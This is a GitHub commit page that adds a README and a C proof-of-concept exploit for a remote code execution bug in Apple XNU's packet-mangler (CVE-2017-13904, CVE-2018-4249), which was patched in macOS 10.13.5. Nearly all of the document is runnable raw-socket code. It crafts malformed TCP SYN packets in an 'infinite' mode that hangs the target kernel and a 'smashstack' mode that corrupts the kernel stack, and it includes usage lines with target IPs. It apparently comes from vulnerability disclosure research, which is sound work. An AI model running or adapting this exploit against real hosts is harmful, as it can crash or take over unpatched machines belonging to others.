Skip to content

Commit 77d338a

Browse files
SamGitHub Enterprise
authored andcommitted
Merge pull request Semmle#5 from kev/Apple_XNU_packet_mangler_CVE-2017-13904
Exploit PoC for Apple XNU packet-mangler
2 parents a93b1f7 + abedc4d commit 77d338a

2 files changed

Lines changed: 203 additions & 0 deletions

File tree

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
## Remote code execution in Apple's packet-mangler (CVE-2017-13904, CVE-2018-4249)
2+
3+
Proof-of-concept exploit for remote code execution vulnerability in the packet-mangler component of macOS: CVE-2017-13904, CVE-2018-4249. The vulnerability was fixed in macOS High Sierra 10.13.5, which was released on June 1, 2018.
4+
5+
For details on how to compile and run this exploit, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_packet_mangler_CVE-2017-13904).
Lines changed: 198 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,198 @@
1+
/*
2+
* Copyright Kevin Backhouse / Semmle Ltd (2018)
3+
* License: Apache License 2.0
4+
*
5+
* The code in this file is derived from code written by Silver Moon.
6+
* Silver Moon's original version is available at this url:
7+
* http://www.binarytides.com/raw-sockets-c-code-linux/
8+
*/
9+
#include <stdio.h>
10+
#include <string.h>
11+
#include <sys/socket.h>
12+
#include <stdlib.h>
13+
#include <errno.h>
14+
#include <netinet/tcp.h>
15+
#include <netinet/ip.h>
16+
#include <arpa/inet.h>
17+
18+
// 96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
19+
struct pseudo_header
20+
{
21+
u_int32_t source_address;
22+
u_int32_t dest_address;
23+
u_int8_t placeholder;
24+
u_int8_t protocol;
25+
u_int16_t tcp_length;
26+
};
27+
28+
// Generic checksum calculation function
29+
unsigned short csum(unsigned short *ptr, int nbytes)
30+
{
31+
long sum;
32+
unsigned short oddbyte;
33+
short answer;
34+
35+
printf("nbytes = %d\n", nbytes);
36+
37+
sum = 0;
38+
while (nbytes > 1) {
39+
sum += *ptr++;
40+
nbytes -= 2;
41+
}
42+
if (nbytes == 1) {
43+
oddbyte = 0;
44+
*((u_char*)&oddbyte) = *(u_char*)ptr;
45+
sum += oddbyte;
46+
}
47+
48+
sum = (sum>>16) + (sum & 0xffff);
49+
sum = sum + (sum>>16);
50+
answer = (short)~sum;
51+
52+
printf("answer = 0x%x\n", answer);
53+
54+
return answer;
55+
}
56+
57+
enum Mode {
58+
InfiniteLoopMode,
59+
SmashStackMode
60+
};
61+
62+
int main(int argc, char* argv[])
63+
{
64+
int s = 0;
65+
const int datagramsize = 4096;
66+
int payloadsize = 40;
67+
// Datagram to represent the packet
68+
char datagram[datagramsize], source_ip[32], dest_ip[32], *data , *pseudogram;
69+
enum Mode mode = 0;
70+
71+
if (argc != 4) {
72+
printf("Usage: sudo ./a.out <source ip> <dest ip> <mode>\n");
73+
printf("Examples:\n");
74+
printf(" sudo ./a.out 192.168.0.8 192.168.0.12 infinite\n");
75+
printf(" sudo ./a.out 192.168.0.8 192.168.0.12 smashstack\n");
76+
return 1;
77+
}
78+
79+
strncpy(source_ip, argv[1], sizeof(source_ip));
80+
strncpy(dest_ip, argv[2], sizeof(dest_ip));
81+
source_ip[sizeof(source_ip) - 1] = '\0';
82+
dest_ip[sizeof(dest_ip) - 1] = '\0';
83+
84+
if (strcmp(argv[3], "infinite") == 0) {
85+
mode = InfiniteLoopMode;
86+
} else if (strcmp(argv[3], "smashstack") == 0) {
87+
mode = SmashStackMode;
88+
payloadsize = 1000;
89+
} else {
90+
printf("Mode not recognized. Choose from:\n");
91+
printf(" infinite\n");
92+
printf(" smashstack\n");
93+
return 1;
94+
}
95+
96+
printf("source: %s\n", source_ip);
97+
printf("dest: %s\n", dest_ip);
98+
printf("mode: %d\n", mode);
99+
100+
s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
101+
if (s == -1) {
102+
printf("Failed to create socket. Try running with sudo.\n");
103+
return 1;
104+
}
105+
106+
memset (datagram, 0, datagramsize);
107+
108+
// IP header
109+
struct iphdr *iph = (struct iphdr *) datagram;
110+
111+
// TCP header
112+
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
113+
struct sockaddr_in sin;
114+
struct pseudo_header psh;
115+
116+
// Data part
117+
data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
118+
memset(data, 1, payloadsize);
119+
120+
if (mode != SmashStackMode) {
121+
data[0] = 2;
122+
data[1] = 0;
123+
}
124+
125+
// some address resolution
126+
sin.sin_family = AF_INET;
127+
sin.sin_port = htons(22);
128+
sin.sin_addr.s_addr = inet_addr(dest_ip);
129+
130+
// Fill in the IP Header
131+
iph->ihl = 5;
132+
iph->version = 4;
133+
iph->tos = 0;
134+
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + payloadsize;
135+
iph->id = htonl (54321); // Id of this packet
136+
iph->frag_off = 0;
137+
iph->ttl = 255;
138+
iph->protocol = IPPROTO_TCP;
139+
iph->check = 0; // Set to 0 before calculating checksum
140+
iph->saddr = inet_addr(source_ip);
141+
iph->daddr = sin.sin_addr.s_addr;
142+
143+
// Ip checksum
144+
iph->check = csum((unsigned short *) datagram, iph->tot_len);
145+
146+
// TCP Header
147+
tcph->source = htons (1234);
148+
tcph->dest = htons (22);
149+
tcph->seq = 0;
150+
tcph->ack_seq = 0;
151+
if (mode == SmashStackMode) {
152+
tcph->doff = 0;
153+
} else {
154+
tcph->doff = 0xF;
155+
}
156+
tcph->fin=0;
157+
tcph->syn=1;
158+
tcph->rst=0;
159+
tcph->psh=0;
160+
tcph->ack=0;
161+
tcph->urg=0;
162+
tcph->window = htons (5840); // maximum allowed window size
163+
tcph->check = 0; // leave checksum 0 now, filled later by pseudo header
164+
tcph->urg_ptr = 0;
165+
166+
// Now the TCP checksum
167+
psh.source_address = inet_addr(source_ip);
168+
psh.dest_address = sin.sin_addr.s_addr;
169+
psh.placeholder = 0;
170+
psh.protocol = IPPROTO_TCP;
171+
psh.tcp_length = htons(sizeof(struct tcphdr) + payloadsize);
172+
173+
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + payloadsize;
174+
pseudogram = malloc(psize);
175+
176+
memcpy(pseudogram, (char*) &psh, sizeof (struct pseudo_header));
177+
memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + payloadsize);
178+
179+
tcph->check = csum((unsigned short*)pseudogram, psize);
180+
181+
// IP_HDRINCL to tell the kernel that headers are included in the packet
182+
int one = 1;
183+
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) < 0) {
184+
printf("Error setting IP_HDRINCL\n");
185+
return 1;
186+
}
187+
188+
// Send the packet
189+
if (sendto (s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0) {
190+
printf("sendto failed\n");
191+
return 1;
192+
}
193+
194+
// Data sent successfully
195+
printf ("Packet Send. Length : %d \n", iph->tot_len);
196+
197+
return 0;
198+
}

0 commit comments

Comments
 (0)